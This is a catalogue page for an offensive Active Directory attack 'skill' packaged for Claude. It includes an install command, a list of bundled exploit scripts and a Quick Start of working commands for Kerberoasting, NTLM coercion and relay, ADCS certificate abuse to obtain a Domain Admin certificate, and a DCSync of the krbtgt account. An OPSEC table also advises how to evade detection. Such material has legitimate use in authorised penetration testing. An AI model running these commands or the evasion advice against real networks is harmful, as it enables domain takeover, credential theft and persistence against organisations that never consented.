Active Directory Attack Skill for Claude

Use when attacking a Windows Active Directory domain — Kerberos roasting/delegation, coercion + NTLM/Kerberos relay (CVE-2025-33073), ADCS ESC1-16 (EKUwu), ticket forgery & DCSync, dMSA BadSuccessor (CVE-2025-53779), BloodHound attack-path enumeration, domain dominance

21k tokens

context cost

the whole folder, loaded on every use

files

ships runnable scripts

copies elsewhere

how many repositories repackaged it

334

stars on the repo

on the repository, not the skill itself

Install

one command, takes just this skill from the repository

npx skills add https://github.com/hypnguyen1209/offensive-claude --skill active-directory-attack

What comes with it

75 160 bytes besides the instruction

references/adcs-abuse.md

references/bloodhound-enum-lateral.md

references/coercion-relay.md

references/dmsa-badsuccessor.md

references/kerberos-roasting-delegation.md

references/ticket-forgery-dcsync.md

scripts/Get-BadSuccessorOUPermissions.ps1

scripts/ad_recon.py

scripts/adcs_esc_finder.py

scripts/coerce_relay_chain.sh

scripts/kerberoast_audit.py

scripts/rbcd_takeover.py

The instruction itself

6 sections, as written by the author

Active Directory Attacks

When to Activate

Attacking Windows domain environments after gaining any domain foothold (creds, hash, or unauth network position)
Kerberos exploitation: Kerberoasting, AS-REP roasting, delegation (RBCD/constrained/unconstrained), ticket forgery
Coercion + NTLM/Kerberos relay chains (PetitPotam/DFSCoerce → LDAP/ADCS, NTLM reflection CVE-2025-33073)
ADCS certificate-template abuse (ESC1-ESC16) and certificate-based domain takeover
dMSA / BadSuccessor privilege escalation on Windows Server 2025 domains
BloodHound CE attack-path discovery, lateral movement, DCSync, and domain-dominance persistence

Technique Map

|-----------|--------|-----|-----------|--------|

| Golden / Silver / Diamond / Sapphire ticket | T1558.001, T1558.002 | CWE-345 | references/ticket-forgery-dcsync.md | - |

| DCSync (DRSUAPI replication) | T1003.006 | CWE-269 | references/ticket-forgery-dcsync.md | - |

| noPac / sAMAccountName spoofing (CVE-2021-42278/87) | T1558 | CWE-287 | references/ticket-forgery-dcsync.md | - |

Quick Start

# 0. Sync clock to DC (Kerberos needs +/-5 min)
sudo ntpdate <DC_IP>   # or: faketime "$(net time -S <DC>)" <cmd>

# 1. Enumerate: BloodHound CE collection (Linux) + own the graph
bloodhound-python -u user -p 'Pass' -d corp.local -dc dc01.corp.local -ns <DC_IP> -c all --zip
#   (use the bloodhound-ce branch; legacy collectors break CE ingest)
nxc ldap <DC_IP> -u user -p 'Pass' --bloodhound --collection All --dns-server <DC_IP>

# 2. Cheap wins on the graph: roast everything visible
python3 scripts/kerberoast_audit.py -d corp.local --dc-ip <DC_IP> -u user -p 'Pass' --asrep --kerberoast

# 3. Coerce + relay to LDAP/ADCS (RBCD or cert) if signing/EPA weak
bash scripts/coerce_relay_chain.sh corp.local user 'Pass' <DC_IP> <RELAY_IP> ldap

# 4. ADCS path: find ESC1-16 and grab a DA cert
python3 scripts/adcs_esc_finder.py -d corp.local -u user -p 'Pass' --dc-ip <DC_IP>
certipy req -u [email protected] -p 'Pass' -ca CA -template Vuln -upn [email protected]
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>          # -> NT hash / TGT

# 5. Windows Server 2025 present? Check BadSuccessor exposure
powershell -ep bypass -File scripts/Get-BadSuccessorOUPermissions.ps1

# 6. Domain dominance: DCSync krbtgt -> Golden ticket / persistence
impacket-secretsdump -just-dc-user 'corp\krbtgt' corp.local/da:'Pass'@<DC_IP>

OPSEC & Detection (summary)

|-----------|-----------------|--------------------------|------------|

| SharpHound/LDAP enum | Hundreds of LDAP queries from one host; 4662 directory access | SIEM rule: single source > N LDAP queries/minute; ADWS 9389 spikes | Throttle --throttle/--jitter; prefer ADWS (SOAPHound) to dodge LDAP heuristics |

| Kerberoasting | 4769 TGS-REQ with RC4 (0x17) for many SPNs from one host | Sigma win_security_susp_kerberos_manipulation; alert on RC4 TGS bursts | Request AES-only SPNs sparingly; /rc4opsec; roast few accounts, slow |

| Coercion | EFSRPC/DFSNM/RPRN named-pipe calls; auth from server to odd host | Sigma coercion/PetitPotam; RPC firewall (RpcFilter) logs | Coercion is "by design"; NTLM removal on 2025/24H2 forces Kerberos fallback |

| NTLM relay / reflection | 4624/4648 NTLM logon to self; SMB→LDAP from non-server | Detect SMB-signing:False targets; CVE-2025-33073 DNS marshalled record | Needs signing:False target; patch (Jun 2025) detects marshalled DNS struct |

| ADCS ESC | 4886/4887 cert issuance; cert with arbitrary SAN/UPN; client-auth EKU on web template | Sigma ADCS issuance anomalies; certutil monitoring; ESC15 EKU injection | Restore templates (ESC4); EPA on certsrv breaks ESC8 relay |

| Ticket forgery | TGT lifetime anomalies; PAC w/o validation; 4769 for krbtgt SPN | Golden: ticket lifetime > policy; Sapphire mimics real PAC (hard) | Match domain ticket policy lifetimes; use AES keys not RC4 |

| DCSync | 4662 DRSUAPI GetNCChanges from non-DC | Sigma dcsync; alert DRSUAPI replication from non-DC IP | Run from a host that looks like a DC; avoid /all, target krbtgt only |

| dMSA BadSuccessor | 5137 dMSA create; 5136 write to msDS-ManagedAccountPrecededByLink | Sigma SharpSuccessor exec; SACL on dMSA attrs (off by default!) | Patched (Aug 2025) needs both sides controlled; still a creds-dump primitive |

Deep Dives

references/bloodhound-enum-lateral.md — BloodHound CE v8 / OpenGraph, SharpHound CE & bloodhound-ce collectors, NetExec, high-value Cypher, password spray, PtH/PtT/OverPtH, LAPS v1/v2 + gMSA reads, AdminSDHolder/DSRM/Skeleton-Key persistence.
references/kerberos-roasting-delegation.md — Kerberoasting (incl. targeted/GenericWrite), AS-REP roasting, RBCD, constrained/unconstrained delegation, S4U2self/S4U2proxy abuse, tgt::deleg, hashcat modes.
references/coercion-relay.md — All five coercion methods + WebDAV/efsr_spray, NTLM relay to SMB/LDAP/ADCS, NTLM reflection (CVE-2025-33073), Kerberos relay & DNS CNAME (CVE-2026-20929), shadow-credential relay.
references/adcs-abuse.md — ESC1-ESC16 catalog with Certipy v5, EKUwu/ESC15 (CVE-2024-49019), ESC16 CA-wide override, ESC8 relay, ESC9/ESC10 mapping bypass, certificate persistence.
references/ticket-forgery-dcsync.md — Golden/Silver/Diamond/Sapphire tickets, DCSync, noPac (CVE-2021-42278/87), PAC validation enforcement (CVE-2024-26248/29056), trust/SID-history & cross-forest.
references/dmsa-badsuccessor.md — dMSA migration internals, BadSuccessor (CVE-2025-53779), pre/post-patch behavior, SharpSuccessor / bloodyAD / NetExec tooling, detection.

Other skills for the same job

different authors, same section of the catalogue

Backend Security Coder

by ComeOnOliver

×2

Expert in secure backend coding practices specializing in input validation, authentication, and API security. Use PROACTIVELY for backend security implementations or security code reviews.

5k tokens

Cloud Penetration Testing

by ComeOnOliver

×2

This skill should be used when the user asks to "perform cloud penetration testing", "assess Azure or AWS or GCP security", "enumerate cloud resources", "exploit cloud misconfigurations", "test O365 security", "extract secrets from cloud environments", or "audit cloud infrastructure". It provides comprehensive techniques for security assessment across major cloud platforms.

16k tokens

Codebase Cleanup Deps Audit

by ComeOnOliver

×2

You are a dependency security expert specializing in vulnerability scanning, license compliance, and supply chain security. Analyze project dependencies for known vulnerabilities, licensing issues, outdated packages, and provide actionable remediation strategies.

Comprehensive Flow Nexus platform management - authentication, sandboxes, app deployment, payments, and challenges

14k tokens

Linux Privilege Escalation

by ComeOnOliver

×2

This skill should be used when the user asks to "escalate privileges on Linux", "find privesc vectors on Linux systems", "exploit sudo misconfigurations", "abuse SUID binaries", "exploit cron jobs for root access", "enumerate Linux systems for privilege escalation", or "gain root access from low-privilege shell". It provides comprehensive techniques for identifying and exploiting privilege escalation paths on Linux systems.

Expert malware analyst specializing in defensive malware research, threat intelligence, and incident response. Masters sandbox analysis, behavioral analysis, and malware family identification. Handles static/dynamic analysis, unpacking, and IOC extraction. Use PROACTIVELY for malware triage, threat hunting, incident response, or security research.

This skill should be used when the user asks to "use Metasploit for penetration testing", "exploit vulnerabilities with msfconsole", "create payloads with msfvenom", "perform post-exploitation", "use auxiliary modules for scanning", or "develop custom exploits". It provides comprehensive guidance for leveraging the Metasploit Framework in security assessments.

7k tokens

Mobile Security Coder

by ComeOnOliver

×2

Expert in secure mobile coding practices specializing in input validation, WebView security, and mobile-specific security patterns. Use PROACTIVELY for mobile security implementations or mobile security code reviews.

6k tokens

How to use it

Copy the folder

Take hypnguyen1209/active-directory-attack from the repository into ~/.claude/skills for personal use, or into .claude/skills inside a project.

Check the name does not clash

The agent identifies a skill by the name field in its header. Two skills with the same name cannot sit side by side — one of them will be ignored.